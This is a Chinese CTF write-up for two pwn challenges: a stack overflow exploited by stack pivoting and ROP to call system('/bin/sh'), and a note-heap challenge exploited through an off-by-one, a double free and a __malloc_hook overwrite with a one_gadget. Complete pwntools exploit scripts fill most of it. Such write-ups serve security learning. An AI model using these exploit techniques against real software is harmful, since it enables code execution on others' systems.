题目提供elf文件和libc文件各一个。用ida打开查看main()函数。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *ptr; // ST08_8
void *v4; // ST00_8
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to stackstorm");
ptr = malloc(0x400uLL);
sub_400746(ptr, 0LL);
free(ptr);
v4 = malloc(0x400uLL);
sub_400746(v4, 0LL);
free(v4);
return 0LL;
}
其中malloc了两个堆块并导入到sub_400746()函数中。
int __fastcall sub_400746(void *a1)
{
char s; // [rsp+10h] [rbp-70h]
memset(&s, 0, 0x70uLL);
puts("data1:");
read(0, a1, 0x400uLL);
puts((const char *)a1);
puts("data2:");
read(0, &s, 0x80uLL);
return puts(&s);
}
该函数在栈上有16个字节的溢出,并调用了两次,思路第一次调用将字符填充到栈底泄露rbp的内容。这样就得到了栈地址,第二次溢出并用栈迁移将栈迁回开始的地方构造rop链泄露libc基地址,再次返回main()函数二次溢出getshell。脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./stackstorm')
gdb.attach(r,'b * 0x400788')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('0.0.0.0',0)
libc = ELF('./libc-2.23.so')
elf=ELF('./stackstorm')
puts = elf.symbols['puts']
rdi = 0x400903
rsir15= 0x400901
leave = 0x4007c1
libc_start_main_got = elf.got['__libc_start_main']
read = elf.symbols['read']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
main = 0x4007c3
r.recvuntil('data1:')
r.sendline('a'*(0x400-1))
r.recvuntil('data2:')
r.send('b'*(0x70-1)+'c')
r.recvuntil('bbbc')
rbp = u64(r.recv(6)+'\x00\x00')-0x90
r.recvuntil('data1:')
r.sendline('a'*(0x400-1))
r.recvuntil('data2:')
exp= 'aaab'+p32(0)+p64(rdi)+p64(libc_start_main_got)+p64(puts)+p64(main)
r.sendline(exp+'a'*(0x70-len(exp))+p64(rbp)+p64(leave))
r.recvuntil('aaab')
r.recv(1)
laddr = u64(r.recv(6)+'\x00\x00')-libc.symbols['__libc_start_main']
print(hex(laddr))
system +=laddr
binsh +=laddr
r.recvuntil('data1:')
r.recvuntil('data2:')
r.send('b'*(0x70-1)+'c')
r.recvuntil('bbbc')
rbp = u64(r.recv(6)+'\x00\x00')-0x90
print hex(rbp)
r.recvuntil('data1:')
r.sendline(cyclic(0x400-1))
r.recvuntil('data2:')
exp= 'a'*7+'b'+p64(rdi)+p64(libc_start_main_got)+p64(puts)+p64(main)+p64(0)
exp= 'aaab'+p32(0)+p64(rdi)+p64(binsh)+p64(system)+p64(main)
r.sendline(exp+'a'*(0x70-len(exp))+p64(rbp)+p64(leave))
r.interactive()
题目给定elf文件和libc各一个,通过打开ida发现该题为堆题。menu()函数如下。
int sub_E91()
{
puts("1.Add new note");
puts("2.Delete a note");
puts("3.Show a note");
puts("4.Exit");
return printf("Choice:");
}
通过main()函数对比,发现没有修改功能。然后找出对应的增删查函数。
增函数。需要分别输入size、title和content
int sub_BD9()
{
int result; // eax
int v1; // ST04_4
void *v2; // rax
void *buf; // ST08_8
int v4; // ST00_4
__int64 v5; // [rsp+0h] [rbp-10h]
printf("Input the note size: ");
result = getnum();
HIDWORD(v5) = result;
if ( result <= 0 || result > 256 )
{
puts("Stop heap abuse!!!");
exit(0);
}
LODWORD(v5) = 0;
while ( v5 <= 14 )
{
result = *(&unk_2020A0 + 8 * v5);
if ( !result )
{
*(&unk_2020A0 + 8 * v5) = 1;
*(&unk_2020A4 + 8 * v5) = HIDWORD(v5);
printf("Input the title: ", v5);
v2 = malloc(v1);
buf = v2;
qword_2020B8[4 * v4] = v2;
read_str(&unk_2020A0 + 32 * v4 + 8, 16);
printf("Input the content: ", 16LL);
read(0, buf, v1);
return dword_20209C++ + 1;
}
LODWORD(v5) = v5 + 1;
}
return result;
}
删函数,free掉指针并将指针标志置零
int sub_D2F()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
printf("Which Note do you want to delete: ");
v1 = getnum();
if ( v1 < 0 || v1 > dword_20209C )
return puts("Out of bound!");
result = *(&unk_2020A0 + 8 * v1);
if ( result )
{
free(qword_2020B8[4 * v1]);
*(&unk_2020A0 + 8 * v1) = 0;
result = dword_20209C-- - 1;
}
return result;
}
查函数,直接printf()字符串,与puts功能相似。
int sub_DDA()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]
printf("Which Note do you want to show: ");
v1 = getnum();
if ( v1 < 0 || v1 > dword_20209C )
exit(0);
result = *(&unk_2020A0 + 8 * v1);
if ( result )
{
printf("note title : %s \n", &unk_2020A0 + 32 * v1 + 8);
result = printf("note content: %s \n", qword_2020B8[4 * v1]);
}
return result;
}
在动态测试中发现在增函数时,title的输入会有一个单字节的溢出,可以覆盖堆地址的最后一位。在正常情况下这个地址会指向chunk+0x10。
gdb-peda$ x/20gx $rebase(0x2020a8)
0x55d27fe3c0a8: 0x6161616161616161 0x6161616161616161
0x55d27fe3c0b8: 0x000055d28175b061 0x0000004000000000
gdb-peda$ x/20gx $rebase(0x2020a8)
0x55bdd6d8d0a8: 0x0000000000000061 0x0000000000000000
0x55bdd6d8d0b8: 0x000055bdd8cea010 0x0000000000000000
这样我们可以构造一个fake_chunk泄露main_area+88,并构造相同的指针构造double free 覆盖__malloc_hook
getshell。
构造fake chunk
add(0x40,'a\n','a') #0 不能在0x10处写因为\n会被替换成00,所以该堆块作用是垫高heap到0x100处方便double free
add(0x30,'a'*16+p8(0x70+0x10),'c'*0x10+p64(0)+p64(0x91)) #1 fakechunk并将指针指向fake chunk
add(0x30,'a'*16+p8(0x50+0x10),'a') #2 将指针指向chunk 1,方便申请回来泄露mainarea+88
add(0x20,'a\n','a') #3 同上个堆块欺骗free函数
dele(1) #free fake_chunk
dele(2) #free chunk 1
add(0x30,'a\n','a'*(0x20-1)+'b') #申请回chunk1 使此chunk与unsortbin重叠,
show(1) #leak mainarea+88
r.recvuntil('aaab')
libc_addr = u64(r.recv(6)+'\x00\x00')-0x3c4b78
print hex(libc_addr)
double free
add(0x60,'a'*16+p8(0x70+0x10),'a') #4 指针指向chunk 5
add(0x60,'a\n','a') #5
add(0x60,'a\n','c') #6
add(0x30,'a\n','c') #7
dele(5)
dele(6)
dele(4) #free 5
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
realloc_hook = libc_addr + libc.symbols['__realloc_hook']
realloc = libc_addr + libc.symbols['__libc_realloc']
ogg = libc_addr+0x4527a
add(0x60,'a\n',p64(malloc_hook-0x23)) #6
add(0x60,'a\n','c') #7
add(0x60,'a\n','c') #6
add(0x60,'a\n',cyclic(11)+p64(ogg)+p64(realloc)) #利用realloc抬栈触发one_gadget
print hex(malloc_hook)
print hex(realloc)
r.recvuntil("Choice:")
r.sendline("1")
r.recvuntil("size:")
r.sendline('64')
最终exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./note')
gdb.attach(r,'b * __libc_realloc')
#gdb.attach(r,'b * $rebase(0xe91)')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('0.0.0.0',29790)
libc = ELF('./libc-2.23.so')
elf = ELF('./note')
def add(size,title,content):
r.recvuntil("Choice:")
r.sendline("1")
r.recvuntil("size:")
r.sendline(str(size))
r.recvuntil("title:")
r.send(title)
r.recvuntil("content:")
r.send(content)
def show(index):
r.recvuntil("Choice:")
r.sendline("3")
r.recvuntil("show:")
r.sendline(str(index))
def dele(index):
r.recvuntil("Choice:")
r.sendline("2")
r.recvuntil("delete:")
r.sendline(str(index))
add(0x40,'a\n','a') #0
add(0x30,'a'*16+p8(0x70+0x10),'c'*0x10+p64(0)+p64(0x91)) #1
add(0x30,'a'*16+p8(0x50+0x10),'a') #2
add(0x20,'a\n','a') #3
add(0x60,'a'*16+p8(0x70+0x10),'a') #4
add(0x60,'a\n','a') #5
add(0x60,'a\n','c') #6
add(0x30,'a\n','c') #7
dele(1)
dele(2)
add(0x30,'a\n','a'*(0x20-1)+'b') #1
show(1)
r.recvuntil('aaab')
libc_addr = u64(r.recv(6)+'\x00\x00')-0x3c4b78
print hex(libc_addr)
dele(5)
dele(6)
dele(4) #make 6
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
realloc_hook = libc_addr + libc.symbols['__realloc_hook']
realloc = libc_addr + libc.symbols['__libc_realloc']
ogg = libc_addr+0x4527a
add(0x60,'a\n',p64(malloc_hook-0x23)) #6
add(0x60,'a\n','c') #7
add(0x60,'a\n','c') #6
add(0x60,'a\n',cyclic(11)+p64(ogg)+p64(realloc)) #exp
print hex(malloc_hook)
print hex(realloc)
r.recvuntil("Choice:")
r.sendline("1")
r.recvuntil("size:")
r.sendline('64')
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!